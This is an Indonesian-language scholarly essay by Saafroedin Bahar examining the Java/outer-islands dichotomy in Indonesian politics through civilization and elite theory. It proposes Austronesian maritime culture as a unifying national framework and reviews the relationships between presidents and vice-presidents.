FAKTOR JAWA DALAM POLITIK INDONESIA: Sebuah Penelusuran dari Perspektif Teori Peradaban dan Teori Elite

Oleh: Dr. Saafroedin BAHAR[2]

Pengantar : Kompleksitas Masalah Keindonesiaan Kita

Hampir merupakan suatu paradigma baku dalam kajian ilmu politik Indonesia untuk menganalisis perbagai peristiwa politik dengan mempergunakan dikotomi Jawa – luar Jawa. Hal ini  amatlah wajar, khususnya jika diingat bahwa – walaupun ada daerah-daerah luar Jawa yang pernah merupakan kerajaan-kerajaan besar di masa lampau seperti Sriwijaya, Aceh, atau Bugis Makasar – namun peranan kerajaan-kerajaan di pulau Jawa tampil amat mengemuka dalam sejarah. Dua kerajaan di antaranya dapat kita sebut, yaitu Majapahit dan Mataram ( Coedes, 2010; .Nugroho, 2011; Purwadi, 2004; Rahardjo, 2011; Ricklefs, 2010 , Vlekke 2008 )

Lazimnya dikotomi Jawa-luar Jawa tersebut disandarkan pada perbedaan konsep kebudayaan (culture), yaitu totalitas cara hidup suatu suku bangsa (etnik) yang membedakan suatu suku bangsa dengan suku bangsa lainnya, yang hidup pada daerah yang relatif bersifat lokal dan terbatas. Dalam hubungan inilah misalnya dalam  bidang politik kita memperhatikan fenomena konflik pribadi yang berlatar belakng kultural, antara seorang presiden yang menganut budaya Jawa dengan wakil presiden yang menganut budaya bukan Jawa, yang diasumsikan berada dalam posisi yang sering bersifat diametral (Alam, 2003).

Walaupun demikian, jika ditekuni baik-baik, segera terasa bahwa dikotomi Jawa – luar Jawa tersebut sangat kurang akurat, oleh karena ada demikian banyak perbedaan antara berbagai etnik yang ada di luar Jawa itu sendiri.  Sekiranya suku bangsa yang kita gunakan sebagai  unit analisis, maka ada 1.072 etnik yang perlu kita berikan perhatian ( Suryadinata,2003) .  Syukurnya beban kajian dapat kita kurangi, oleh karena dari 1.072 suku bangsa itu, hanya ada 11 etnik yang mempunyai warga di atas satu juta jiwa. Dengan kata lain, sebagian terbesar dari suku-suku bangsa di Indonesia merupakan suku-suku bangsa kecil, yang bisa berarti tidak mempunyai akses yang mudah ke pusat kekuasaan.  Dengan demikian, maka yang perlu kita beri perhatian secara khusus dalam diskusi kita ini adalah bagaimana interaksi politik baik pada tingkat grass roots antara 11 buah suku bangsa ini, maupun antar sesama kelompok elite yang ada di tingkat nasional.

Dari perspektif ilmu politik, sudah barang tentu yang perlu kita perhatikan bukan hanya interaksi horizontal antara 1.072 [ minimal antara 11 buah] suku bangsa tersebut, tetapi juga – dan terutama – hubungan dan struktur vertical antara satu suku bangsa dengan suku bangsa yang lain, tentunya dalam konteks integrasi nasional. Dalam hubungan inilah suku bangsa Jawa memang menempati posisi yang khas, oleh karena sebab yang amat sederhana, yaitu oleh karena selain suku bangsa Jawa dari segi demografis berjumlah lebih dari separo jumlah warga Negara Indonesia, tetapi juga oleh karena secara kultural dan antropologis jauh lebih tua dan juga lebih kaya unsure-unsur kebudayaannya, termasuk dalam bidang pemerintahan. Tidaklah berkelebihan jika dikatakan bahwa suku bangsa Jawa secara otomatis akan menguasai kehidupan politik di Indonesia, baik dalam artian kultur politik, struktur politik, maupun proses politik.

Kita patut bersyukur, bahwa dalam proses nation- and state-building – khususnya sejak tahun-tahun awal kebangkitan nasional pada awal abad ke 20 —  tidak terlihat tanda-tanda bahwa suku bangsa Jawa mempunyai ambisi untuk secara sadar mendominasi suku-suku bangsa lainnya. Pertama-tama hal ini mungkin disebabkan oleh karena citra diri yang berkembang di kalangan masyarakat Jawa – dengan konsep njawani – adalah  penghargaan kepada kehalusan budi dan etika, yang memungkinkan masyarakat Jawa bersedia menerima kepemimpinan nasional dari suku bangsa lain, asal  njawani.[3].

Sampai taraf tertentu hal ini juga mungkin disebabkan oleh karena faham kebangsaan yang ditransplantasikan dari budaya politik Barat tersebut diserap, diolah, dan dikembangkan oleh kaum intelektual berpendidikan Barat, yang sebagian di antaranya berasal dari suku-suku bangsa dari luar Jawa. Artinya, persatuan dan kesatuan Bangsa ini akan lebih terjamin, jika pada suatu sisi ada peran yang seimbang dari representasi kultural berbagai suku bangsa dalam kalangan elite nasional, dan pada sisi yang lain adanya kesadaran dari kalangan elite yang berlatar belakang budaya Jawa tentang kemajemukan kultural Bangsa Indonesia.  Seandainya dua hal ini diabaikan dapat diperkirakan akan timbulnya  konflik kultural, yang dapat melimpah kepada konflik politik,konflik ekonomi, dan akhirnya konflik keamanan. Sesuai dengan kata pepatah asing noblesse obligee – kemuliaan itu mengandung kewajiban dan tanggung jawab –  maka beban moral untuk menjaga keseimbangan peran kultural tersebut terletak di atas pundak kaum elite yang berlatar belakang kebudayaan Jawa, yang secara hampir pasti akan menduduki posisi kepenimpinan tertinggi di Negara ini.

Dengan kata lain, dalam proses nation-bulding Indonesia, komposisi elite politik Indonesia hampir seimbang antara yang berasal dari Jawa dengan yang dari luar Jawa. Merekalah yang  secara bersama-sama menyusun norma dasar Negara yang paling fundamental ( Staatsfundamentalnorm) –  Pancasila dan Undang-Undang Dasar 1945 – yang masih dianut sampai hari ini, walau telah berkali-kali mengalami perubahan( Soeprapto, 1996) . Sehubungan dengan itu, baik dengan sengaja maupun  tidak sengaja, tokoh-tokoh elite Jawa berusaha sungguh-sungguh agar supaya komposisi kabinet terdiri dari representasi etnik Jawa dan luar Jawa, setidak-tidaknya sebagai perlambang persatuan Indonesia.

Pidato bersejarah Ir. Soekarno pada tanggal 1 Juni 1945 bisa kita pandang sebagai suatu pidato kultural yang berusaha memberi landasan konseptual yang kukuh bagi terbentuknya sebuah Negara nasional untuk demikian banyak suku bangsa yang ada di Indonesia (Sekretariat Negara, 1998). Soekarno memberikan tiga argumen untuk terbentuknya suatu Negara nasional di Indonesia, yaitu argumen historis, argumen teoretikal, dan argumen geopolitik.

Sebagai argumen historis, Soekarno menyebut Sriwijaya dan Mojopahit sebagai dua contoh historis dari Negara nasional Indonesia di masa lampau. Sebagai argumen teoretikal, Soekarno mengutip dua pendapat tokoh Barat, yaitu Ernest Renan tentang pentingnya kehendak untuk bersatu ( le desir d’etre ensemble )  serta Otto Bauer tentang adanya persamaan nasib ( eine aus Schickalgemeinschaft erwachsene Charactergemeinschaft). Dan akhirnya, sebagai argumen geopolitik, Soekarno menunjuk kenyataan bahwa seluruh kepulauan Nusantara adalah suatu kesatuan. Soekarno menyampaikan kenyataan ini dengan mengatakan: “ Seorang anak kecil pun, jikalau ia melihat peta dunia,  ia dapat menujukkan bahwa kepulauan Indonesia merupakan kesatuan” (Sekretariat Negara, 1998)..

Setelah mengalami berbagai format rumusan redaksional, wawasan Soekarno tersebut terangkum secara amat jernih dan amat padat dalam empat alinea Pembukaan Undang-Undang Dasar 1945, yang menyepakati konsep-konsep pokok kebangsaan 1) tentang kemerdekaan dan penjajahan; 2) tentang lima tujuan pembentukan Negara; 3) tentang dimensi religiositas dari pernyataan kemerdekaan; 4) tentang empat tugas Pemerintah; 5) tentang lima sila Pancasila, serta 6) tentang kedaulatan Rakyat. Pokok-pokok kesepakatan itulah yang harus dijabarkan oleh seluruh lapisan elite nasional ke dalam hukum positif serta dalam kebijakan Pemerintahan demi kepentingan seluruh Rakyat Indonesia.

Dengan demikian, empat alinea yang tercantum dalam Pembukaan Undang-Undang Dasar 1945 tersebut merumuskan dengan jernih arah yang akan dituju oleh Bangsa dan Negara Republik Indonesia, dua buah konsep politik modern yang — walaupun merupakan suatu imagined community  seperti ditengarai Benedict R.O.G Anderson – namun mempunyai satu persamaan tujuan mendasar, yang harus diwujudkan bersama di masa depan, seperti yang diinginkan oleh Soekarno.

Namun, secara retrospektif kita bisa bertanya dewasa ini, jika memang demikian halnya, mengapa pada saat ini – setelah 67 tahun merdeka – kok persatuan dan kesatuan bangsa kita masih terasa goyah, kok masalah Jawa – luar Jawa masih tetap relevan untuk dipertanyakan ? Adakah suatu dasar lain yang tertinggal ?

  1. Kebudayaan dan Peradaban.

Ada yang terasa khas dalam diskusi kita hari ini untuk membahas faktor Jawa dalam politik Indonesia, yaitu penyelenggaranya adalah Institut Peradaban, sebuah lembaga kajian yang mencoba merintis pendekatan baru dalam kehidupan berbangsa dan bernegara, bukan dari perspektif kebudayaan (culture) per se, tetapi dari perspektif peradaban ( civilization) . Berbeda dengan kebudayaan, peradaban berlandaskan sistem nilai filsafat yang lebih luhur, dianut oleh berbagai  ras yang lebih besar, serta  mencakup daerah yang jauh lebih luas. ( Harison, 2011)

Dalam hubungan inilah Samuel P. Huntington – misalnya – menyebut adanya the clash of civilizations, benturan antara peradaban Barat dengan peradaban Islam. Seperti kita ketahui, kedua peradaban besar ini sangat relevan dengan keindonesiaan yang sedang kita bangun, oleh karena konsep kebangsaan ( nasionalisme )  yang menjadi tumpuan kesatuan Bangsa dan Negara diilhami oleh peradaban Barat, sedang peradaban Islam sudah demikian lama menjadi benang merah yang menjelujuri demikian banyak kebudayaan daerah-daerah kita. Kita berkepentingan untuk mencari suatu modus vivendi dari kedua peradaban besar ini.

Sekedar catatan, walaupun kita bisa berbicara tentang adanya satu peradaban Barat yang berintikan pandangan hidup Judeo-Grieka yang relative homogen, namun rasanya kita agak sulit berbicara tentang adanya suatu peradaban Islam, oleh karena adanya berbagai kawasan peradaban yang lebih tua, yang dikooptasi, diadopsi, minimal dipengaruhi oleh agama Islam sebagai religi. Dalam hubungan ini izinkan saya mengutip pandangan Prof. Dr Azyumardi Azra, bahwa sesungguhnya ada sembilan kawasan peradaban tua yang dipengaruhi oleh agama Islam, yaitu :  1) Arab; 2) Persia; 3) Turki; 4) India; 5) Melayu; 6) Indonesia; 7) Sub-Sahara/Sudan; 8) Cina; dan 9)  Western Hemisphere. Jika kita berpendapat bahwa Mesir merupakan suatu peradaban tersendiri, maka ada sepuluh peradaban besar yang dicakup oleh peradaban Islam tersebut. (  Hidayat, 2006)

Mengenai peradaban – atau kebudayaan -  Indonesia sendiri, jika kita merujuk pada literatur adatrecht , kawasan peradaban  Indonesia ternyata tidaklah homogen, oleh karena dalam zaman sebelum Perang Dunia Kedua telah ditengarai adanya 19 buah adatrechtskringen ( lingkungan hukum adat ). Dengan demikian, walau pada mulanya terlihat sederhana, segera terasa bahwa masalah yang sedang kita bahas sekarang ini sungguh amat sangat tidak sederhana, Kemajemukan bukan hanya terlihat pada tataran kebudayaan, tetapi juga pada tataran peradaban. Apa yang disebut Samuel P. Huntington sebagai  clash of civilizations – yang terkait erat dengan hidup keagamaan — juga terasa di Indonesia, sehingga tidaklah heran bahwa dalam pidatonya pada tanggal 31 Mei 1945 Prof. Mr. Dr Soepomo sebagai ketua panitia kecil perancang undang-undang dasar sudah menengarai adanya masalah dalam hubungan antara Negara dengan agama. Masalah tersebut masih kita hadapi sampai saat ini. Dengan kata lain, sesungguhnya dikotomi Jawa – luar Jawa, atau Islam – non Islam tidaklah demikian tepat untuk digunakan untuk menganalisis kehidupan p[olitik di Indonesia, oleh karena di dalam setiap kategori itu sendiri terdapat kemajemukan yang mempunyai spectrum yang lumayan luas. Mungkin akan lebih bermanfaat jika kita mengadakan analisis secara konkrit dan realistik, baik pada tataran suku bangsa yang terkait, dan atau berdasar interaksi personal pada kalangan elite nasional itu sendiri.

Kita beruntung bahwa kita sudah mengenal berbagai literatur mengenai masalah peradaban ini. Beberapa nama besar segera melintas dalam fikiran kita, seperti Ibn Khaldun, Arnold Toynbee, dalam zaman lampau, atau Kishore Mahbubani ( Mahbubani, 2012) untuk kurun kita sekarang ini. Dalam membicarakan peradaban kita diajar untuk menekuni kehidupan manusia bukan dalam ukuran tahun, lima tahunan, atau dalam ukuran generasi, tetapi abad demi abad. Kita diajak tidak hanya melihat kecenderungan berjangka pendek, tetapi melihat arus sejarah berjangka amat panjang, yang tidak akan terlihat dalam perspektif politik berjangka pendek. Dengan kata lain, mempelajari masalah peradaban mendorong kita untuk mempelajari kecenderungan sejarah dari perspektif seorang negarawan.

  1. Budaya Maritim Austronesia: Sebuah Hipotesa tentang Platform Kultural Bersama untuk Indonesia.

Jika perspektif tersebut di atas bisa diterima, izinkan saya menampilkan  suatu hipotesa yang sedang dicoba untuk dikaji dan dikembangkan oleh Aliansi Kebangsaan – sebuah perkumpulan tempat saya bernaung dalam dua tahun terakhir ini — yaitu kemungkinan dimanfaatkannya budaya maritim Austronesia sebagai kerangka acuan besar dimana seluruh kebudayaan suku-suku bangsa yang ada di Indonesia ini bisa berpayung ( Sutowo, 2010).

Dari literatur antropologi budaya kita dibekali dengan kenyataan, bahwa sebuah kawasan yang teramat luas, sejak dari pulau Madagaskar di sebelah Barat, terus ke kawasan Asia Tenggara [ termasuk kepulauan Indonesia ], berlanjut ke pulau Taiwan, kepulauan Filipina, Melanesia, Mikronesia ada, dan berujung di kepulauan Polinesia di sebelah Timur, dimana terdapat akar bahasa yang sama, yaitu rumpun bahasa Austronesia. Bukan mustahil bahwa pada suatu saat di masa lampau yang jauh, manusia yang memakai bahasa Austronesia ini mungkin berasal dari sebuah ras yang sama.

Sampai saat ini,  sebagian besar kajian tentang rumpun bahasa Austronesia ini masih dilakukan dengan pendekatan ilmu bahasa ( philologi) dan arkeologi. Walaupun demikian, rasanya terhadap kajian ilmu kebahasaan dan arkeologi ini dapat – perlu dilakukan kajian lanjut –  terhadap dimensi  kultural dan politiknya, khususnya jika diingat bahwa dalam kawasan Austronesia ini sendiri terdapat demikian banyak kebudayaan lokal, yang pada dasarnya bisa hidup berdampingan secara damai melalui kegiatan perdagangan. Bahwa mereka bisa berkomunikasi dalam bahasa yang banyak sedikitnya sama, mungkin dapat merupakan suatu indikasi bahwa manusia Austronesia ini  mempunyai tingkat toleransi yang tinggi dalam keanekaragaman kebudayaan.

Patut dapat diduga, bahwa kebudayaan  Austronesia ini adalah kebuidayaan maritim, yaitu kebudayaan yang secara alamiah bukan saja bersifat sangat dinamis tetapi juga sangat terbuka, bersifat komunal, membiarkan bahkan mendorong warganya untuk berani bertualang ke daerah-daerah yang jauh, serta menyukai perdagangan dan  kegiatan yang saling menguntungkan dalam kehidupan ini. Kebudayaan Austronesia ini memandang keaneragaman kebudayaan dari daerah yang mereka datangi atau para pendukung kebudayaan lain yang mendatangi daerah mereka bukan sebagai ancaman, tetapi malah sebagai potensi yang bisa saling memperkuat dan saling menguntungkan. Masalah bersama diselesaikan terutama melalui musyawarah, bukan melamui peperangan.

Demikianlah, selain dari agama-agama suku ( Hadiwijono, 2003), di kawasan kebudayaan Austonesia ini terdapat hampir semua agama-agama besar dunia, yang pada dasarnya bisa hidup berdampingan secara damai. Sungguh menarik untuk diperhatikan bahwa konflik horizontal yang berlatar belakang agama hampir selalu dirangsang oleh pengaruh dari luar, khususnya oleh elemen radikal dan fundamentalis dari  agama-agama Semitik yang sangat cenderung bersifat missioner, yaitu agama Kristen dan agama Islam ( Ali, 2012) .

Adalah suatu kemungkinan besar bahwa para pelaut Austronesia ini sudah bercampur baur dengan penduduk yang didatangi atau yang mendatangi daerah mereka. Demikianlah kita bisa melihat betapa luasnya sebaran daerah yang didiami oleh pelaut Bugis, atau petani Jawa, yang pada suatu waktu dahulu adalah juga pelaut-pelaut yang ulung ( Kesuma, 2004). Juga tidak tertutup  kemungkinan bahwa para perantau Minang yang sekarang banyak yang menjadi pedagang kaki lima, pada suatu saat di zaman dahulu adalah juga para pelaut, seperti yang dapat kita kenal dari folklore masyarakat pesisirnya, yang terkait dengan kisah-kisah masyarakat Bugis Makassar atau daerah=daerah lainnya di Nusa Tenggara Timur, Papua, dan Filipina Selatan.

Dalam hubungan ini sungguh menarik perhatian sebuah temuan baru dari sejarawan muda Irawan Djoko Nugroho ( Nugroho, 2011)   tentang corak kerajaan Majapahit, yang dalam perspektif peradaban bisa dipandang sebagai salah satu kerajaan besar berkebudayaan Austronesia, yang berumur sekitar lima abad, antara abad ke 11 sampai dengan abad ke 16. Berbeda dengan bayangan kita selama ini tentang Majapahit sebagai suatu imperium, sejarawan muda ini berpendapat bahwa Majapahit lebih tepat disifatkan sebagai suatu kerajaan maritime besar yang walaupun mempunyai armada laut yang kuat dan  menguasai jalur-jalur perdagangan di kepulauan Nusantara, namun dalam  modus operandi-nya mengambil bentuk aliansi dengan dengan demikian banyak kerajaan maritime lainnya di kepulauan Nusantara ini.  Para petinggi Majapahit menyebut kerajaan-kerajaan aliansinya itu sebagai mitreka satata, yang sering diikat dengan hubungan perkawinan, bukan dengan cara penaklukan.

Jika hipotesa ini benar, maka tiga argument yang diutarakan Soekarno sebagai landasan untuk mempersatukan Indonesia – yaitu alasan historis, alasan teoretikal, dan alasan geopolitik – bisa kita tambahkan dengan alasan keempat, yaitu alasan kebudayaan maritime Austronesia.

Sungguh menyedihkan, bahwa tradisi kebudayaan maritim Austronesia yang dinamis dan terbuka ini telah dihancurkan secara sistematis dan terencana, baik oleh kekuatan asing yang datang dari luar, maupun – anehnya – oleh sebagian  raja-raja kita sendiri, yang entah oleh karena apa tidak meneruskan tradisi  yang dinamik dan terbuka yang baik ini. Sejarah nasional kita mencatat bahwa kekuatan luar yang menghancurkan kebudayaan maritime kita ini adalah  fihak kolonial Belanda, yang selain menghancurkan perahu-perahu rakyat di kita di Maluku dalam apa yang disebut sebagai pelayaran hongitochten, juga telah memaksakan larangan pelayaran bagi kapal-kapal kita di Jawa. Sedihnya, kebijakan yang sama juga diikuti oleh sebagian raja-raja kita di pulau Jawa, yang selain menghancurkan kapal-kapal kita sendiri juga memindahkan keratonnya ke daerah pedalaman.

Oleh karena itu, khusus untuk pembahasan faktor Jawa dalam politik Indonesia sekarang ini rasanya kita perlu membedakan antara kebudayaan Jawa pesisiran yang berorientasi maritim dan bersifat komunal dan dinamis, yang masih mempunyai ciri-ciri kebudayaan  Austronesia  – yang masih terlihat di sepanjang pantai utara pulau Jawa – dengan kebudayaan Jawa pedalaman yang berorientasi pertanian dan karenanya bersifat konservatif, khususnya di bekas kerajaan Mataram, yang relatif telah kehilangan ciri-ciri kebudayaan Austronesianya. Menurut penglihatan saya, literatur tentang kebudayaan Jawa, yang ditulis oleh  Clifford Geertz,  Benedict R.O.G Anderson, serta tesis Soemarsaid Martono, yang banyak kita kenal selama ini, lebih banyak menggambarkan kebudayaan Jawa pedalaman, yang selain bersifat agraris dan konservatif, juga cenderung involutif, dan mungkin merupakan salah satu faktor penyebab dari munculnya  konflik agrarian berkepanjangan dalam masyarakat kita.

Menurut Prof. Dr. Franz non Magnis-Suseno, ada dua kelemahan mendasar dari kebudayaan Jawa [ pedalaman] ini, yaitu 1)  ketidaksediaan raja-raja untuk menerima feedback, kecuali jika diminta, oleh karena jika tidak diminta, hal itu member kesan bahwa raja masih mempunyai kekurangan, padahal raja dianggap merupakan titisan dewa; dan 2)   amat sukarnya terjadi proses peralihan kepemimpinan, yang hampir selalu terjadi melalui kekerasan.[4]

Dengan demikian, jika kita hendak membahas faktor Jawa dalam politik Indonesia masa kini dari perspektif kebudayaan, maka yang harus kita lakukan adalah menempatkannya kembali dalam konteks kebudayaan Austronesia, yang bukan berorientasi darat, tetapi berorientasi maritim, yang elemen-elemennya masih hidup secara fragmentaris di berbagai daerah di Indonesia. Dalam konteks kebudayaan maritim sebagai kerangka acuan ini, Indonesia dapat diharapkan akan dapat kembali kepada jati dirinya sebagai bangsa pelaut yang pernah punya tradisi yang gemilang, yang bukan mustahil dengan kebijakan Negara yang tepat akan dapat kembali menjadi Bangsa yang besar, didukung oleh sumber daya alamnya yang – walaupun sudah banyak dijarah dan dirusak – masih dapat diandalkan untuk membangun suatu Bangsa yang adil dan makmur (Sutowo, 2010)..

Mungkin bukanlah secara kebetulan, bahwa sejak tahun 1962 Bangsa dan Negara kita telah berhasil memperjuangkan pengakuan hukum internasional terhadap konsep Wawasan Nusantara  sebagai Negara kepulauan ( archipelagic state ), yang bukan saja secara yuridis telah dapat mempersatukan 17.558 buah pulau menjadi suatu kesatuan, tetapi juga telah mendudukkan status laut pedalaman, laut territorial, serta zona ekonomi eksklusif, yang jelas mampu memberikan dukungan untuk seluruh seluruh bangsa Indonesia dalam abad-abad mendatang.

Secara pribadi saya percaya bahwa menempatkan aneka warna kebudayaan dari seluruh Rakyat kita dalam konteks kebudayaan Austronesia inilah yang — walaupun berada di bawah permukaan dalam kurun waktu yang demikian lama –  akan merupakan salah satu sumber ketahanan nasional kita dalam menghadapi demikian banyak ancaman, hambatan, gangguan, dan tantangan. Kita bersyukur bahwa walaupun telah lumpuh selama lebih dari lima abad, namun potensi kebudayaan maritime Austronesia yang sangat dinamis ini masih bisa direvitalisasi, khususnya oleh karena di beberapa daerah tradisi maritime ini masih tetap hidup, seperti di Aceh, pantai timur Sumatera Utara, kepulauan Riau, pantai utara Jawa, pesisir Kalimantan, daerah Sulawesi Selatan, serta kepulauan Maluku.

  1. Pentingnya Peranan Tokoh-tokoh Elite,

Rasanya tidaklah berkelebihan jika dikatakan bahwa pemahaman terhadap masalah keanekagaman serta kompleksitas  kebudayaan – termasuk kebudayaan politik – diperlukan agar kita mengerti watak manusia rakyat banyak. Bagaimanapun, karakter manusia, baik secara perseorangan maupun secara kolektif, dibentuk oleh latar belakang kebudayaan asalnya ( Harison, 2011). Pengertian ini diperlukan baik oleh kaum cendekiawan maupun – atau terlebih-lebih – oleh kaum elite, yang memerlukan dukungan rakyat banyak itu untuk berkuasa dan untuk tetap bisa berkuasa, menghadapi kelompok counter elites yang secara alamiah akan tumbuh silih berganti ( Mills, 1959, Kartodirdjo, 1981) .

Oleh karena itu tidaklah mengherankan bahwa dalam hubungan inilah munculnya demikian banyak pitutur dan  wewaler  dari keraton kerajaan Jawa tentang bagaimana caranya memerintah ( Rukmana,1992, Yasasussatra, 2011)  atau dimulainya studi indologi oleh Universitas Leiden atas perintah dari pemerintah kolonial Belanda yang secara rasial dan kultural sangat berbeda dengan massa rakyat Indonesia yang dijajahnya.

Ada suatu hal yang menarik jika kita berbicara tentang kaum elite ini, yaitu bahwa walaupun kita demikian sering berbicara tentang kaum elite – khususnya tentang sifat egoisme mereka – namun terdapat kesan bahwa tidak demikian banyak literatur yang mengkaji karakteristik kelompok yang akan memegang kendali, baik terhadap manusia maupun terhadap sumber daya, yang ada pada suatu komunitas.  Hal ini adalah wajar, oleh karena memang tidak banyak literature yang membahas aspek sosiologis, psikologis, dan sosial psikologis dari kelompok atau tokoh-tokoh elite ini.  Dari literatur Barat, hanya ada beberapa nama saja yang terkenal dalam pembahasan tentang kelompok elite ini, di antaranya: Niccolo Machiavelli, Gaetano Mosca, Suzanne Keller, atau C, Wright Mills.

Dalam hubungan dengan dengan kehidupan politik di Indonesia, ada tiga fenomena penting yang perlu kita perhatikan benar-benar, yaitu 1)   adanya gejala keterasingan elite ( Siradj, 2009 ); dan dua  fenomena lainnya yang ditengarai oleh Prof. Dr. Franz von Magnis-Suseno, yaitu 2)  ketertutupan elite terhadap feedback dari masyarakat; dan 3)  amat sulitnya terjadi proses pergantian pimpinan.

Selain itu, ada suatu fakta yang menarik mengenai tokoh-tokoh elite ini, yaitu kemampuan seorang tokoh elite untuk mengembangkan  kemampuan dirinya secara kreatif,  artinya walaupun pada umumnya kepribadian seorang tokoh elite juga dibentuk oleh latar belakang budayanya, namun juga sering terjadi bahwa seorang tokoh elite tersebut juga mampu menyerap berbagai unsur dari latar kebudayaan lainnya, dan bukan saja menjadikannya sebagai bagian dari keseluruhan karakter pribadinya,  tetapi juga untuk membentuk kebudayaan di sekitarnya itu secara kreatif.

Hal ini terlihat jelas pada kepribadian Presiden Soekarno, yang walaupun secara kultural menyerap konsep-konsep kebudayaan Jawa, namun juga sekaligus menyerap unsure-unsur dari kebudayaan Barat, untuk kemudian menyatukannya menjadi gaya kepemimpinan pribadinya yang khas.  Gejala serupa juga terlihat pada Wakil Presiden Drs. Mohammad Hatta, yang walaupun secara kultural sangat menghayati esensi kebudayaan Minangkabau, namun juga mampu menyerap berbagai esensi kebudayaan Barat – sejak dari alam filsafat Yunani sampai kepada pemikiran Barat kontemporer – dan menyatukannya menjadi gaya kepemimpinannya yang khas.

Oleh karena itu, dalam membahas kepemimpinan seorang tokoh elite, pendekatan kebudayaan saja tidaklah cukup – betapapun pentingnya hal itu. Bersama dengan pendekatan kultural tersebut, namun pendekatan kultural tersebut harus disertai dengan pendekatan psikologi individual dan pendekatan psikologi sosial.

Langkanya literatur tentang karakteristik kaum elite ini rasanya tidak merupakan hambatan dalam upaya kita untuk memahami kekuatan dan atau kelemahan tokoh-tokoh elite itu dalam menunaikan peran mereka.  Kekurangan literatur tersebut bisa diisi oleh demikian banyak biografi dan atau otobiografi dari tokoh-tokoh elite tersebut , bukan hanya pada saat mereka sedang berkuasa, tetapi juga – atau bahkan – sejak masa kanak-kanak mereka.

Sudah barang tentu, sesuai dengan sistem pemerintahan presidensial yang kita anut,  tokoh elite  yang paling penting adalah Presiden beserta para pembantunya. Dalam genggaman presiden beserta para pembantunya inilah – yang bisa kita sebut sbagai Lembaga Kepresidenan -  terletak wewenang dan kekuasaan untuk mengambil keputusan tentang demikian banyak masalah kehidupan berbangsa dan bernegara, dengan menggunakan aparatur pemerintahan sipil dan militer, serta memanfaatkan demikian banyak dana yang tercantum dalam Anggaran Pendapatan dan Belanja Negara. Oleh karena itu , mengingat demikian pentingnya peran kenegaraan dari Lembaga Kepresidenan ini, sesungguhnya layak untuk dilakukan suatu kajian tersendiri terhadap lembaga kepresidenan ini, baik terhadap karakter pribadinya maupun terhadap lembaga-lembaga yang mendukung kepemimpinan mereka. ( Bahar, 2009,  Edwards III, 1990, Kusuma, 2011, Sekretariat Negara, 2009. ).

Dalam konteks diskusi kita sekarang ini, dengan merujuk pada sistem pemerintahan demokrasi presidensial yang kita anut, kita cukup membedah secara kritis karakter pribadi enam orang presiden yang pernah atau sedang memegang pimpinan tertinggi Bangsa dan Negara ini. Mereka adalah Ir. Soekarno, Jenderal Soeharto, Prof Dr Ing Baharuddin Jusul Habibe, KH Abdurrahman Wahid, Megawati Soekarnoputri, dan Jenderal Susilo Bambang Yudhoyono ( Dhani, 2004, Djalal, .., Nurhasim,2009, Pangaribuan, 1996.).  Sehubungan dengan akan berlangsungnya Pemilihan Presiden pada tahun 2014 yang akan datang, rasanya akan sangat bermanfaat jika juga disediakan waktu untuk membahas psychological profiles dari presidential hopefuls yang sudah mulai menjajagi pendapat umum pada waktu akhir-akhir ini.

Dalam hubungan ini, sungguh menarik untuk memperhatikan bahwa walaupun seorang presiden Indonesia yang mempunyai latar belakang pribadi kebudayaan Jawa terlihat kurang  nyaman didampingi oleh seorang wakil presiden yang mempunyai latar belakang kebudayaan non-Jawa — mungkin oleh karena dalam segala tingkah lakunya kurang dirasa njawani’ — namun presiden dan wakil presiden yang berasal dari latar belakang kebudayaan yang sama juga belum tentu akan merasa nyaman satu sama lain. Demikianlah Presiden Soekarno [ Jawa) kelihatan tidak nyaman dengan Wakil Presiden Mohammad Hatta [ Minang]; Presiden Soeharto tidak nyaman dengan Wakil Presiden Adam Malik [ Batak], dan Presiden Soesilo Bambang Yudhoyono [ Jawa] kurang nyaman didampingi oleh Wakil Presiden Jusuf Kalla [ Bugis}. Namun juga terlihat bahwa Wakil Presiden Megawati Soekarnoputri yang Jawa juga kelihatan kurang nyaman berdampingan dengan Presiden KH Abdurrahman Wahid yang juga Jawa. Mungkin hal ini dapat dianggap sebagai suatu kekecualian.

Dari enam orang Presiden empat orang adalah sipil dan dua orang militer. Adalah menarik perhatian bahwa dua orang perwira militer yang menjadi presiden  ini mempunyai kepribadian serta gaya kepemimpinan yang sangat berbeda. Dengan kata lain, latar belakang profesi militer yang sama bukan merupakan jaminan akan menunjukkan gaya kepemimpinan yang sama.

Dari perspektif kehidupan berbangsa dan bernegara, yang kedaulatan tertingginya diasumsikan merupakan milik Rakyat,  kita harus menilai para presiden itu bukan pada keunikan pribadi atau kekuatan dan kelemahan pribadinya as such , tetapi pada kinerjanya dalam menunaikan empat tugas Pemerintah yang tercantum dalam alinea keempat Pembukaan Undang-Undang Dasar 1945, yaitu : 1)  melindungi segenap bangsa Indonesia dan seluruh Tumpah Darah Indonesia; 2)  memajukan kesejahtreraan umum; 3) mencerdaskan kehidupan Bangsa[ dan 4) ikut melaksanakan ketertiban dunia yang berdasarkan kemerdekaan, perdamaian abadi dankeadilan sosial.  Untuk melaksanakan empat tugas konstitusionalnya ini Presiden – serta Wakil Presiden  – harus mengucapkan Sumpah Jabatan, yang jika dilanggarnya dapat diberhentikan dari jabatan,

Sudah barang tentu akan bermanfaat, jika bersamaan dengan prestasinya, para presiden juga perlu ditelaah bengkalai kebijakan atau malah beban sejarah yang telah atau akan ditinggalkannya, yang akan dipikul oleh generasi demi generasi bangsa ini di masa datang. Beberapa di antaranya – sebagai contoh – adalah hutang luar negeri, pembiaran masalah, atau ketidakberanian mengambil keputusan (Sutowo, 2012).

  1. Jadi, Apa Persisnya Masalah yang Akan kita Bahas ?

Dengan kompleksitas masalah mendasar tersebut di atas saya rasa perlu kita rumuskan dengan jernih apa maksud dan tujuan yang hendak kita bahas dalam diskusi sekarang ini.  Kerangka acuan diskusi memusatkan perhatian pada konsep ‘kekuasaan Jawa’ yang sangat sentralistik  – antara lain seperti yang dirumuskan oleh Benedict R.O.G Anderson – yang sesungguhnya  merupakan ciri khas dari kebudayaan Jawa/ Mataram.  Kebudayaan Jawa/Mataram ini secara substantif terlihat telah merosot dari sistem nlai kebudayaan  Austonesia yang merupakan induknya, yang selain bersifat sangat dinamis juga nyaman-nyaman saja dengan keanekaragaman dan perbedaan.  Kebudayaan Jawa yang telah mengalami degradasi inilah yang tidak menolerir adanya perbedaan, kekuasaan tandingan, apalagi oposisi, suatu hal yang sesungguhnya amat wajar dalam kehidupan berbangsa dan bernegara yang  menganut faham demokrasi.

